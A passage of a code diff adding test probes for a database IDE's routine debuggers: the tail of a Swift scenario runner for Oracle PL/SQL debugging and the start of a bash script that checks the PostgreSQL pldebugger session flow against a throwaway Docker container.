+        check(result == .failed(.stopped), "blocked call with ALTER SYSTEM: the target is killed and the step ends as stopped")
+    } else {
+        if case .unconfirmed(let identity) = outcome, identity?.serial != nil {
+            check(true, "blocked call without ALTER SYSTEM: Stop answers unconfirmed, naming the session")
+        } else {
+            check(false, "blocked call without ALTER SYSTEM: Stop answers unconfirmed, naming the session (\(outcome))")
+        }
+        guard case .failed(.stillRunning(let identity))? = result, identity?.serial != nil else {
+            check(false, "blocked call without ALTER SYSTEM: the step says the routine still runs, naming the session")
+            return
+        }
+        check(true, "blocked call without ALTER SYSTEM: the step says the routine still runs (\(String(describing: identity)))")
+    }
+}
+
+// Stop while stack, variable, source and breakpoint calls run back to back: the one Stop overlaps throws .ended
+// promptly, and Stop still ends the target within 3 s.
+func stopReading(_ preference: OracleDebugProtocolPreference) async throws {
+    log("=== stop during reads \(preference)")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(pWrite).first else { return }
+    let note = "stop-reading-\(preference.rawValue)"
+    let engine = try await launch(entry, arguments: ["P_NOTE": .text(note)], breakpoints: [.init(unit: pWrite, line: 6)], preference: preference, opened: opened)
+    _ = drain(engine)
+    _ = try await engine.firstStop()
+    log("after insert: \(describe(try await engine.perform(.continueExecution)))")
+    let (rounds, round) = AsyncStream.makeStream(of: Int.self)
+    let reader = Task { () -> (rounds: Int, calls: Int, error: Error?) in
+        var finished = 0
+        var calls = 0
+        do {
+            while true {
+                calls += 1
+                _ = try await engine.stack()
+                calls += 1
+                _ = try await engine.variables(inFrame: 0)
+                calls += 1
+                _ = try await engine.source(of: pWrite)
+                calls += 1
+                _ = try await engine.setBreakpoint(in: pWrite, line: 7)
+                calls += 1
+                try await engine.removeBreakpoint(in: pWrite, line: 7)
+                finished += 1
+                round.yield(finished)
+            }
+        } catch {
+            return (finished, calls, error)
+        }
+    }
+    var iterator = rounds.makeAsyncIterator()
+    _ = await iterator.next()
+    let started = Date()
+    let outcome = await engine.stop()
+    let waited = Date().timeIntervalSince(started)
+    let read = await reader.value
+    let readEnded = Date().timeIntervalSince(started)
+    log("stop returned \(outcome) after \(String(format: "%.2f", waited)) s; reader ended after \(String(format: "%.2f", readEnded)) s at call \(read.calls) (\(read.rounds) full rounds) with \(String(describing: read.error))")
+    check(outcome == .ended, "\(preference): Stop during reads confirms the target ended")
+    check(waited < 3, "\(preference): Stop during reads returns within 3 s")
+    check(readEnded < 3, "\(preference): the overlapped call ends within 3 s of Stop")
+    check((read.error as? OracleDebugError) == .ended, "\(preference): the overlapped call throws .ended")
+    opened.closeAll()
+    let rows = await scalar("SELECT COUNT(*) FROM probe_log WHERE note = '\(note)'")
+    check(rows == "0", "\(preference): insert rolled back after Stop during reads (rows=\(rows ?? "?"))")
+}
+
+// PKG_AMBIG.P(x NUMBER DEFAULT 1) and P(x VARCHAR2 DEFAULT 'a'); Q(a NUMBER) and Q(a NUMBER, b VARCHAR2 DEFAULT 'x').
+// Oracle refuses a call both overloads match (PLS-00307), so the launcher refuses it before opening a session; a typed
+// value runs the chosen overload through either protocol.
+func ambiguous() async throws {
+    log("=== overloads a call with defaults left out cannot tell apart")
+    let entries = try await entryPoints(ambigBody)
+    log("entry points: \(entries.map(\.displayName))")
+    let ps = entries.filter { $0.entry.subprogram == "P" }
+    let qs = entries.filter { $0.entry.subprogram == "Q" }
+    guard ps.count == 2, qs.count == 2, let q1 = qs.first(where: { $0.parameters.count == 1 }),
+          let q2 = qs.first(where: { $0.parameters.count == 2 }) else {
+        check(false, "PKG_AMBIG lists two P and two Q overloads")
+        return
+    }
+    let connection = try await open("probe")
+    for call in ["BEGIN pkg_ambig.p; END;", "BEGIN pkg_ambig.q(a => 1); END;"] {
+        do {
+            _ = try await connection.executeDirect(call)
+            check(false, "Oracle refuses \(call)")
+        } catch {
+            check(String(describing: error).contains("00307"), "Oracle refuses \(call) with PLS-00307")
+        }
+    }
+    connection.disconnect()
+    func refused(_ entry: OracleDebugEntryPoint, _ arguments: [String: OracleDebugArgumentValue]) async -> OracleDebugError? {
+        let opened = Opened()
+        defer { opened.closeAll() }
+        do {
+            let engine = try await launch(entry, arguments: arguments, preference: .dbmsDebug, overloads: entries, opened: opened)
+            _ = await engine.stop()
+            return nil
+        } catch {
+            check(opened.lock.withLock { opened.connections.isEmpty }, "\(entry.displayName): refused before any session opened")
+            return error as? OracleDebugError
+        }
+    }
+    for entry in ps {
+        let error = await refused(entry, ["X": .defaultValue])
+        check(error == .ambiguousDefaults(subprogram: "P", parameters: ["X"]), "\(entry.displayName) with X at its default asks for X (\(String(describing: error)))")
+    }
+    let q1Error = await refused(q1, ["A": .text("1")])
+    check(q1Error == .ambiguousCall(subprogram: "Q"), "\(q1.displayName) is refused as a call no value resolves (\(String(describing: q1Error)))")
+    let q2Error = await refused(q2, ["A": .text("1"), "B": .defaultValue])
+    check(q2Error == .ambiguousDefaults(subprogram: "Q", parameters: ["B"]), "\(q2.displayName) with B at its default asks for B (\(String(describing: q2Error)))")
+    for preference in [OracleDebugProtocolPreference.jdwp, .dbmsDebug] {
+        let runs: [(OracleDebugEntryPoint, [String: OracleDebugArgumentValue], String)] = ps.map { entry in
+            (entry, ["X": .text("5")], entry.parameters.first?.dataType == "NUMBER" ? "number 5" : "varchar2 5")
+        } + [(q2, ["A": .text("1"), "B": .text("y")], "q2 1 y")]
+        for (entry, arguments, expected) in runs {
+            let opened = Opened()
+            defer { opened.closeAll() }
+            let engine = try await launch(entry, arguments: arguments, preference: preference, overloads: entries, opened: opened)
+            let notices = drain(engine)
+            _ = try await engine.firstStop()
+            let end = try await engine.perform(.continueExecution)
+            let lines = await output(notices)
+            log("\(preference) \(entry.displayName): \(describe(end)), output \(lines)")
+            check(lines == [expected], "\(preference): \(entry.displayName) with a typed value runs its own overload")
+        }
+    }
+}
+
+// DBMS_DEBUG names the variables from the source text. P_SHADOW's inner block declares its own X, and GET_VALUE reads
+// whichever X is live at the stop, so the row must carry that declaration's type and constant flag.
+func shadowed() async throws {
+    log("=== dbms_debug, a name an inner block shadows")
+    let opened = Opened()
+    defer { opened.closeAll() }
+    guard let entry = try await entryPoints(pShadow).first else { check(false, "P_SHADOW entry"); return }
+    let engine = try await launch(entry, arguments: ["P_N": .text("3")], breakpoints: [.init(unit: pShadow, line: 8), .init(unit: pShadow, line: 10)], preference: .dbmsDebug, opened: opened)
+    let notices = drain(engine)
+    log("first: \(describe(try await engine.firstStop()))")
+    let inner = try await engine.perform(.continueExecution)
+    check(inner == .paused(OracleDebugLocation(unit: pShadow, line: 8)), "shadow: stops inside the inner block at 8 (\(describe(inner)))")
+    let inside = try await engine.variables(inFrame: 0)
+    log("vars at 8: \(describe(inside))")
+    check(inside.filter { $0.name == "X" } == [OracleDebugVariable(name: "X", kind: .local, typeName: "VARCHAR2(20)", value: .scalar("inner"), isConstant: false)], "shadow: X at 8 is the inner VARCHAR2(20) = inner")
+    check(inside.contains { $0.name == "L_B" && $0.value == .scalar("2") }, "shadow: the inner block's L_B = 2 at 8")
+    let outer = try await engine.perform(.continueExecution)
+    check(outer == .paused(OracleDebugLocation(unit: pShadow, line: 10)), "shadow: stops after the inner block at 10 (\(describe(outer)))")
+    let after = try await engine.variables(inFrame: 0)
+    log("vars at 10: \(describe(after))")
+    check(after.filter { $0.name == "X" } == [OracleDebugVariable(name: "X", kind: .local, typeName: "NUMBER", value: .scalar("1"), isConstant: true)], "shadow: X at 10 is the outer constant NUMBER = 1")
+    check(!after.contains { $0.name == "L_B" }, "shadow: L_B is gone at 10")
+    let end = try await engine.perform(.continueExecution)
+    if case .finished = end { check(true, "shadow: finished") } else { check(false, "shadow: finished (\(describe(end)))") }
+    check(await output(notices) == ["inner2", "13"], "shadow: each put_line read its own X")
+    check(await engine.stop() == .ended, "shadow: Stop after P_SHADOW finished answers ended")
+}
+
+let scenarios: [String: () async throws -> Void] = [
+    "walk-jdwp": { try await walkthrough(.jdwp) },
+    "walk-dbms": { try await walkthrough(.dbmsDebug) },
+    "out-jdwp": { try await outputs(.jdwp) },
+    "out-dbms": { try await outputs(.dbmsDebug) },
+    "stop-paused-jdwp": { try await stopPaused(.jdwp) },
+    "stop-paused-dbms": { try await stopPaused(.dbmsDebug) },
+    "stop-running-jdwp": { try await stopRunning(.jdwp) },
+    "stop-running-dbms": { try await stopRunning(.dbmsDebug) },
+    "stop-running-dbms-kill": { try await stopRunning(.dbmsDebug, canKill: true) },
+    "fallback": { try await fallback() },
+    "timeout": { try await timeoutFallback() },
+    "privilege": { await privilege() },
+    "peer-check": { try await peerCheck() },
+    "overload-jdwp": { try await overloads(.jdwp) },
+    "overload-dbms": { try await overloads(.dbmsDebug) },
+    "cancel": { try await cancelStart() },
+    "preloaded": { try await preloaded() },
+    "blocked-jdwp": { try await blocked(canKill: false) },
+    "blocked-jdwp-kill": { try await blocked(canKill: true) },
+    "stop-reading-jdwp": { try await stopReading(.jdwp) },
+    "stop-reading-dbms": { try await stopReading(.dbmsDebug) },
+    "ambiguous": { try await ambiguous() },
+    "shadow-dbms": { try await shadowed() },
+]
+let order = [
+    "walk-jdwp", "walk-dbms", "out-jdwp", "out-dbms", "shadow-dbms", "overload-jdwp", "overload-dbms", "ambiguous",
+    "stop-paused-jdwp", "stop-paused-dbms", "stop-reading-jdwp", "stop-reading-dbms", "stop-running-jdwp", "stop-running-dbms", "blocked-jdwp", "fallback", "timeout", "peer-check", "cancel", "preloaded",
+    "privilege"
+]
+let chosen = scenario == "all" ? order : scenario.split(separator: ",").map(String.init)
+for name in chosen {
+    guard let run = scenarios[name] else {
+        check(false, "unknown scenario \(name)")
+        continue
+    }
+    do {
+        try await run()
+    } catch {
+        log("\(name) threw: \(error)")
+        failures += 1
+    }
+}
+print("failures: \(failures)")
+exit(failures == 0 ? 0 : 1)
+EOF
+
+echo "Building the probe against Packages/TableProOracle (the first build takes a few minutes)"
+(cd "$WORK" && swift build -c debug > "$WORK/build.log" 2>&1) || {
+    grep -E "error:" "$WORK/build.log" | head -20 >&2
+    exit 3
+}
+"$WORK/.build/debug/Probe" "$HOST" "$PORT" "$DEBUGGER_HOST" "$UNREACHABLE_HOST" all
+status=$?
+
+# The kill branch of Stop (DBMS_DEBUG while running, JDWP inside a call that never returns to PL/SQL) needs ALTER SYSTEM, granted
+# for these scenarios only.
+echo "grant alter system to probe;" | sql "sys/probe_pw@localhost:1521/FREEPDB1 as sysdba"
+"$WORK/.build/debug/Probe" "$HOST" "$PORT" "$DEBUGGER_HOST" "$UNREACHABLE_HOST" stop-running-dbms-kill,blocked-jdwp-kill
+kill_status=$?
+echo "revoke alter system from probe;" | sql "sys/probe_pw@localhost:1521/FREEPDB1 as sysdba"
+[ "$status" -eq 0 ] && [ "$kill_status" -eq 0 ]
diff --git a/apple/scripts/probes/check-pldebugger-session.sh b/apple/scripts/probes/check-pldebugger-session.sh
new file mode 100755
index 0000000000..e130b10c12
--- /dev/null
+++ b/apple/scripts/probes/check-pldebugger-session.sh
@@ -0,0 +1,957 @@
+#!/usr/bin/env bash
+#
+# Check the PL/pgSQL debugger's pldbgapi flow against a real PostgreSQL 17 with pldebugger.
+#
+# The PostgreSQL plugin debugs a routine with two sessions: the target calls pldbg_oid_debug and then the
+# routine, raises a PLDBGBREAK notice on entry and blocks; the proxy attaches to the backend number in that
+# notice and steps it. The plugin's statements and its reading of the replies (a stop's line is one past the
+# source line, a stack line is not, NULL arrives as the text NULL, 08006 means the target left) were measured
+# by hand, and pldebugger can change them in a release. This runs the same statements the plugin builds in
+# PostgreSQLRoutineDebugProtocol and checks every reply the plugin relies on, including Stop while paused,
+# Stop while running, and a target whose proxy disappeared while it ran or waited.
+#
+# Usage:
+#   scripts/probes/check-pldebugger-session.sh [--keep]
+#
+# Needs Docker. Builds tablepro-probe-pldebugger:17 (postgres:17 plus the PGDG postgresql-17-pldebugger
+# package) once, and runs a throwaway container without shared_preload_libraries, which is how a server
+# a non-superuser connects to usually looks, and with transaction_timeout = 2s, which would end a target
+# paused at a breakpoint for longer if the plugin left it on. --keep leaves the container running. Exits non-zero on a
+# mismatch, 3 when it cannot run.
+
+set -uo pipefail
+
+IMAGE="tablepro-probe-pldebugger:17"
+CONTAINER="${PLDEBUGGER_CHECK_CONTAINER:-tablepro-pldebugger-check-$$}"
+KEEP=0
+[ "${1:-}" = "--keep" ] && KEEP=1
+PROTOCOL="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift"
+WORK="$(mktemp -d)"
+FAILURES=0
+
+command -v docker > /dev/null || {
+    echo "docker not found" >&2
+    exit 3
+}
+[ -f "$PROTOCOL" ] || {
+    echo "not found: $PROTOCOL" >&2
+    exit 3
+}
+
+# The statements below are copies of what the plugin builds. Each fragment must still be in the source, so
+# the two cannot drift apart silently.
+for fragment in \
+    "SELECT func, linenumber, targetname FROM" \
+    "pldbg_wait_for_breakpoint" \
+    "pldbg_attach_to_port" \
+    "pldbg_oid_debug" \
+    "pldbg_get_source" \
+    "pldbg_select_frame" \
+    "pldbg_set_breakpoint" \
+    "pldbg_drop_breakpoint" \
+    "SELECT * FROM \\(function(\"pldbg_abort_target\"" \
+    "SELECT level, targetname, func, linenumber, args FROM" \
+    "SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value" \
+    "SET statement_timeout = 0" \
+    "SET idle_session_timeout = 0" \
+    "SET transaction_timeout = 0" \
+    "SET client_min_messages = notice" \
+    "max(reported - 1, 1)" \
+    "COALESCE(p.proowner = r.oid OR r.rolsuper, false)" \
+    "EXISTS (SELECT 1 FROM pg_catalog.pg_available_extensions a WHERE a.name = 'pldbgapi')" \
+    "p.prorettype = 'pg_catalog.record'::pg_catalog.regtype" \
+    "SELECT 1 FROM pg_catalog.unnest(p.proargtypes::pg_catalog.oid[]) AS a(t)" \
+    "WHERE ty.typtype = 'p'" \
+    "rt.typname IN ('trigger', 'event_trigger')" \
+    "p.proconfig" \
+    "message.contains(\"select() failed\")" \
+    "JOIN pg_catalog.pg_type ty ON ty.oid = (\\(argumentTypes))[s.i]" \
+    "|| pg_catalog.replace(ty.typname, '\"', '\"\"') || '\"'" \
+    "pg_catalog.pg_get_function_arg_default(" \
+    "(s.i - pg_catalog.array_lower(\\(argumentTypes), 1) + 1)::pg_catalog.int4" \
+    "quoteLiteral(String(oid)))::pg_catalog.oid" \
+    "PLDBGBREAK:" \
+    "\"08006\"" \
+    "\"57014\"" \
+    "SELECT pg_catalog.pg_cancel_backend(" \
+    "SELECT pg_catalog.count(*) FROM pg_catalog.pg_stat_activity WHERE pid = "; do
+    grep -qF -- "$fragment" "$PROTOCOL" || {
+        echo "FAIL: $PROTOCOL no longer contains: $fragment; update this script with the plugin" >&2
+        exit 1
+    }
+done
+
+cleanup() {
+    [ "$KEEP" = 1 ] || docker rm -f "$CONTAINER" > /dev/null 2>&1
+    rm -rf "$WORK"
+}
+trap cleanup EXIT
+
+pass() { echo "PASS $1"; }
+fail() {
+    echo "FAIL $1"
+    FAILURES=$((FAILURES + 1))
+}
+
+# expect <file> <fixed text> <label>
+expect() {
+    if grep -qF -- "$2" "$1"; then
+        pass "$3"
+    else
+        fail "$3 (no \"$2\" in $(basename "$1"))"
+        sed 's/^/    /' "$1"
+    fi
+}
+
+# expect_after <file> <marker line> <line that must follow it> <label>
+expect_after() {
+    local following
+    following=$(awk -v marker="$2" 'found { print; exit } $0 == marker { found = 1 }' "$1")
+    if [ "$following" = "$3" ]; then
+        pass "$4"
+    else
+        fail "$4 (after $2: \"$following\", wanted \"$3\")"
+    fi
+}
+
+sql() {
+    local user=$1 database=$2
+    shift 2
+    docker exec -i "$CONTAINER" psql -X -q -At -U "$user" -d "$database" "$@"
+}
+
+if ! docker image inspect "$IMAGE" > /dev/null 2>&1; then
+    echo "Building $IMAGE"
+    printf 'FROM postgres:17\nRUN apt-get update && apt-get install -y --no-install-recommends postgresql-17-pldebugger && rm -rf /var/lib/apt/lists/*\n' \
+        | docker build -q -t "$IMAGE" - > /dev/null || {
+        echo "could not build $IMAGE" >&2
+        exit 3
+    }
+fi
+docker run -d --name "$CONTAINER" -e POSTGRES_HOST_AUTH_METHOD=trust "$IMAGE" -c transaction_timeout=2s > /dev/null || exit 3
+
+# The entrypoint initializes on a temporary server and restarts, so wait for the restart before connecting.
+ready=0
+for _ in $(seq 1 120); do
+    if docker logs "$CONTAINER" 2>&1 | grep -F "init process complete" > /dev/null \
+        && sql postgres postgres -c "SELECT 1" > /dev/null 2>&1; then
+        ready=1
+        break
+    fi
+    sleep 0.5
+done
+[ "$ready" = 1 ] || {
+    echo "the server did not start" >&2
+    exit 3
+}
+echo "Checking pldbgapi against $(sql postgres postgres -c "SELECT version()")"
+
+sql postgres postgres -v ON_ERROR_STOP=1 > /dev/null <<'SQL' || exit 3
+CREATE ROLE dev LOGIN;
+CREATE ROLE other LOGIN;
+CREATE EXTENSION pldbgapi;
+GRANT CREATE ON SCHEMA public TO dev;
+GRANT CREATE ON DATABASE postgres TO dev;
+CREATE DATABASE noext OWNER dev;
+SET ROLE dev;
+CREATE SCHEMA app;
+CREATE DOMAIN app."Code3" AS char(3);
+CREATE FUNCTION pick(v bit) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'bit:' || v::text; END; $$;
+CREATE FUNCTION pick(v bit varying) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'varbit:' || v::text; END; $$;
+CREATE FUNCTION pick(v char(3)) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'char:' || v::text; END; $$;
+CREATE FUNCTION pick(v varchar) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'varchar:' || v::text; END; $$;
+CREATE FUNCTION pick(v bit[]) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'bit[]:' || v::text; END; $$;
+CREATE FUNCTION pick(v bit varying[]) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'varbit[]:' || v::text; END; $$;
+CREATE FUNCTION pick(v app."Code3") RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'domain:' || v::text; END; $$;
+CREATE FUNCTION dflt(a integer DEFAULT 1) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'int:' || a; END; $$;
+CREATE FUNCTION dflt(a text DEFAULT 'x, y') RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN 'text:' || a; END; $$;
+CREATE SEQUENCE ds;
+CREATE FUNCTION dnext(a integer, b bigint DEFAULT nextval('ds')) RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN a || '/' || b; END; $$;
+CREATE FUNCTION dvar(a integer, VARIADIC rest integer[] DEFAULT '{}') RETURNS text LANGUAGE plpgsql AS $$ BEGIN RETURN a || ':' || rest::text; END; $$;
+CREATE TABLE audit_log(id serial PRIMARY KEY, note text);
+CREATE FUNCTION add_tax(amount numeric, rate numeric DEFAULT 0.1)
+RETURNS numeric LANGUAGE plpgsql AS $$
+DECLARE
+    tax numeric;
+BEGIN
+    tax := amount * rate;
+    RETURN amount + tax;
+END;
+$$;
+CREATE FUNCTION order_total(qty integer, unit_price numeric)
+RETURNS numeric LANGUAGE plpgsql AS $$
+DECLARE
+    subtotal numeric := 0;
+    total numeric;
+    r record;
+    i integer;
+BEGIN
+    FOR i IN 1..qty LOOP
+        subtotal := subtotal + unit_price;
+    END LOOP;
+    SELECT 1 AS a, 'x'::text AS b INTO r;
+    INSERT INTO audit_log(note) VALUES ('order_total ' || qty);
+    total := add_tax(subtotal);
+    RETURN total;
+END;
+$$;
+CREATE PROCEDURE log_note(msg text, INOUT n integer DEFAULT NULL, label text DEFAULT 'x')
+LANGUAGE plpgsql AS $$
+BEGIN
+    INSERT INTO audit_log(note) VALUES (msg || label);
+    SELECT count(*) INTO n FROM audit_log;
+    RAISE NOTICE 'rows now %', n;
+END;
+$$;
+CREATE FUNCTION poly_elem(a anyelement) RETURNS anyelement LANGUAGE plpgsql AS $$ BEGIN RETURN a; END; $$;
+CREATE FUNCTION rec_in(r record) RETURNS integer LANGUAGE plpgsql AS $$ BEGIN RETURN 1; END; $$;
+CREATE FUNCTION quiet(x integer) RETURNS integer LANGUAGE plpgsql SET client_min_messages = warning AS $$
+BEGIN
+    RETURN x + 1;
+END;
+$$;
+CREATE FUNCTION short_txn(x integer) RETURNS integer LANGUAGE plpgsql SET transaction_timeout = '2s' AS $$
+DECLARE
+    y integer;
+BEGIN
+    y := x + 1;
+    RETURN y;
+END;
+$$;
+CREATE FUNCTION two_stops() RETURNS integer LANGUAGE plpgsql AS $$
+DECLARE
+    a integer;
+BEGIN
+    PERFORM pg_sleep(3);
+    a := 1;
+    a := 2;
+    RETURN a;
+END;
+$$;
+CREATE FUNCTION codes(code char(3), flags bit(3), many char(2)[]) RETURNS text LANGUAGE plpgsql AS $$
+BEGIN
+    RETURN code || '/' || flags::text || '/' || many::text;
+END;
+$$;
+CREATE FUNCTION slow_fn() RETURNS integer LANGUAGE plpgsql AS $$
+BEGIN
+    INSERT INTO audit_log(note) VALUES ('slow');
+    PERFORM pg_sleep(4);
+    RETURN 1;
+END;
+$$;
+SQL
+sql dev noext -v ON_ERROR_STOP=1 -c 'CREATE FUNCTION g() RETURNS integer LANGUAGE plpgsql AS $$ BEGIN RETURN 1; END; $$' \
+    > /dev/null || exit 3
+
+ORDER_TOTAL=$(sql postgres postgres -c "SELECT 'public.order_total(integer,numeric)'::regprocedure::oid")
+ADD_TAX=$(sql postgres postgres -c "SELECT 'public.add_tax(numeric,numeric)'::regprocedure::oid")
+LOG_NOTE=$(sql postgres postgres -c "SELECT 'public.log_note(text,integer,text)'::regprocedure::oid")
+SLOW_FN=$(sql postgres postgres -c "SELECT 'public.slow_fn()'::regprocedure::oid")
+POLY_ELEM=$(sql postgres postgres -c "SELECT 'public.poly_elem(anyelement)'::regprocedure::oid")
+REC_IN=$(sql postgres postgres -c "SELECT 'public.rec_in(record)'::regprocedure::oid")
+QUIET=$(sql postgres postgres -c "SELECT 'public.quiet(integer)'::regprocedure::oid")
+SHORT_TXN=$(sql postgres postgres -c "SELECT 'public.short_txn(integer)'::regprocedure::oid")
+TWO_STOPS=$(sql postgres postgres -c "SELECT 'public.two_stops()'::regprocedure::oid")
+G=$(sql dev noext -c "SELECT 'public.g()'::regprocedure::oid")
+audit() { sql postgres postgres -c "SELECT count(*) FROM audit_log"; }
+
+# --- The catalog read prepareDebug and startDebug run (routineQuery with hasProcedureKind) -------------------
+
+cat > "$WORK/routine.sql" <<'SQL'
+SELECT
+    pg_catalog.current_database(),
+    (SELECT en.nspname FROM pg_catalog.pg_extension e
+        JOIN pg_catalog.pg_namespace en ON en.oid = e.extnamespace
+        WHERE e.extname = 'pldbgapi'),
+    EXISTS (SELECT 1 FROM pg_catalog.pg_available_extensions a WHERE a.name = 'pldbgapi'),
+    p.oid IS NOT NULL,
+    COALESCE(p.proowner = r.oid OR r.rolsuper, false),
+    p.prokind,
+    p.provolatile,
+    l.lanname,
+    n.nspname,
+    p.proname,
+    pg_catalog.pg_get_function_identity_arguments(p.oid),
+    p.prorettype = 'pg_catalog.record'::pg_catalog.regtype,
+    EXISTS (
+        SELECT 1 FROM pg_catalog.pg_type rt
+        JOIN pg_catalog.pg_namespace rn ON rn.oid = rt.typnamespace
+        WHERE rt.oid = p.prorettype AND rn.nspname = 'pg_catalog' AND rt.typname IN ('trigger', 'event_trigger')
+    ),
+    ARRAY(
+        SELECT pg_catalog.format_type((COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]))[s.i], NULL)
+        FROM pg_catalog.generate_subscripts(COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]), 1) AS s(i)
+        ORDER BY s.i
+    ),
+    p.proargnames,
+    p.proargmodes::pg_catalog.text[],
+    p.pronargdefaults,
+    EXISTS (
+        SELECT 1 FROM pg_catalog.unnest(p.proargtypes::pg_catalog.oid[]) AS a(t)
+        JOIN pg_catalog.pg_type ty ON ty.oid = a.t
+        WHERE ty.typtype = 'p'
+    ),
+    p.proconfig,
+    ARRAY(
+        SELECT '"' || pg_catalog.replace(tn.nspname, '"', '""') || '"."'
+            || pg_catalog.replace(ty.typname, '"', '""') || '"'
+        FROM pg_catalog.generate_subscripts(COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]), 1) AS s(i)
+        JOIN pg_catalog.pg_type ty ON ty.oid = (COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]))[s.i]
+        JOIN pg_catalog.pg_namespace tn ON tn.oid = ty.typnamespace
+        ORDER BY s.i
+    ),
+    ARRAY(
+        SELECT pg_catalog.pg_get_function_arg_default(
+            p.oid,
+            (s.i - pg_catalog.array_lower(COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]), 1) + 1)::pg_catalog.int4
+        )
+        FROM pg_catalog.generate_subscripts(COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[]), 1) AS s(i)
+        ORDER BY s.i
+    )
+FROM (SELECT 1) AS one
+LEFT JOIN pg_catalog.pg_proc p ON p.oid = :'oid'::pg_catalog.oid
+LEFT JOIN pg_catalog.pg_namespace n ON n.oid = p.pronamespace
+LEFT JOIN pg_catalog.pg_language l ON l.oid = p.prolang
+LEFT JOIN pg_catalog.pg_roles r ON r.rolname = CURRENT_USER
+SQL
+
+echo "== catalog read"
+sql dev postgres -v oid="$ORDER_TOTAL" < "$WORK/routine.sql" > "$WORK/routine.owner.log" 2>&1
+expect "$WORK/routine.owner.log" \
+    "postgres|public|t|t|t|f|v|plpgsql|public|order_total|qty integer, unit_price numeric|f|f|{integer,numeric}|{qty,unit_price}||0|f|" \
+    "the owner may debug order_total; one row has every fact prepareDebug needs"
+expect "$WORK/routine.owner.log" '|{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"numeric\""}' \
+    "each argument's exact type comes back as its quoted pg_type name"
+sql dev postgres -v oid="$LOG_NOTE" < "$WORK/routine.sql" > "$WORK/routine.procedure.log" 2>&1
+expect "$WORK/routine.procedure.log" \
+    "postgres|public|t|t|t|p|v|plpgsql|public|log_note|IN msg text, INOUT n integer, IN label text|t|f|{text,integer,text}|{msg,n,label}|{i,b,i}|2|f|" \
+    "a procedure's modes and its two trailing defaults"
+sql other postgres -v oid="$ORDER_TOTAL" < "$WORK/routine.sql" > "$WORK/routine.other.log" 2>&1
+expect "$WORK/routine.other.log" "postgres|public|t|t|f|f|v|plpgsql" "a role that is neither owner nor superuser may not"
+sql dev noext -v oid="$G" < "$WORK/routine.sql" > "$WORK/routine.noext.log" 2>&1
+expect "$WORK/routine.noext.log" "noext||t|t|t|f|v|plpgsql|public|g|" \
+    "no extension in this database, but the server offers it"
+for pseudo in "$POLY_ELEM" "$REC_IN"; do
+    sql dev postgres -v oid="$pseudo" < "$WORK/routine.sql" > "$WORK/routine.pseudo.log" 2>&1
+    if [ "$(awk -F'|' '{ print $(NF - 3) }' "$WORK/routine.pseudo.log")" = "t" ]; then
+        pass "an anyelement or record argument is flagged, since the debugger cannot bind one"
+    else
+        fail "an anyelement or record argument is flagged, since the debugger cannot bind one"
+        sed 's/^/    /' "$WORK/routine.pseudo.log"
+    fi
+done
+docker exec -i "$CONTAINER" psql -X -At -U dev -d postgres > "$WORK/pseudo-call.log" 2>&1 <<'SQL'
+SELECT * FROM "public"."poly_elem"($1) \bind 5 \g
+SELECT * FROM "public"."rec_in"($1::record) \bind (1,2) \g
+SQL
+expect "$WORK/pseudo-call.log" "could not determine polymorphic type because input has type unknown" \
+    "a bound text argument cannot resolve a polymorphic parameter"
+expect "$WORK/pseudo-call.log" "input of anonymous composite types is not implemented" \
+    "a bound text argument cannot become a record"
+sql dev postgres -c "SHOW shared_preload_libraries" > "$WORK/preload.log" 2>&1
+expect "$WORK/preload.log" "permission denied to examine \"shared_preload_libraries\"" \
+    "a non-superuser cannot read shared_preload_libraries, so nothing may gate on it"
+
+# --- Session helpers -----------------------------------------------------------------------------------------
+
+# start_target <name> <user> [psql args]: runs <name>.target.sql in the background.
+start_target() {
+    local name=$1 user=$2
+    shift 2
+    docker exec -i "$CONTAINER" psql -X -At -U "$user" -d postgres "$@" < "$WORK/$name.target.sql" \
+        > "$WORK/$name.target.log" 2>&1 &
+    TARGET=$!
+}
+
+# await_port <name>: sets PORT from the target's PLDBGBREAK notice.
+await_port() {
+    PORT=""
+    for _ in $(seq 1 100); do
+        PORT=$(grep -o 'PLDBGBREAK:[0-9]*' "$WORK/$1.target.log" | head -1 | cut -d: -f2)
+        [ -n "$PORT" ] && return 0
+        kill -0 "$TARGET" 2> /dev/null || return 1
+        sleep 0.1
+    done
+    return 1
+}
+
+run_proxy() {
+    local name=$1 user=$2
+    shift 2
+    docker exec -i "$CONTAINER" psql -X -At -U "$user" -d postgres -v port="$PORT" "$@" < "$WORK/$name.proxy.sql" \
+        > "$WORK/$name.proxy.log" 2>&1
+}
+
+TARGET_SETUP='SET statement_timeout = 0;
+SET idle_session_timeout = 0;
+SET transaction_timeout = 0;
+SET client_min_messages = notice;'
+PROXY_SETUP='SET statement_timeout = 0;
+SET idle_session_timeout = 0;
+SET transaction_timeout = 0;'
+
+# --- A full session as the owner, no superuser, no preload ---------------------------------------------------
+
+echo "== full session"
+before=$(audit)
+cat > "$WORK/full.target.sql" <<SQL
+$TARGET_SETUP
+SELECT "public".pldbg_oid_debug('$ORDER_TOTAL'::pg_catalog.oid);
+SELECT * FROM "public"."order_total"(\$1::integer, \$2::numeric) \bind 3 10 \g
+SQL
+cat > "$WORK/full.proxy.sql" <<SQL
+$PROXY_SETUP
+SELECT "public".pldbg_attach_to_port(:port) AS s \gset
+\echo ==wait
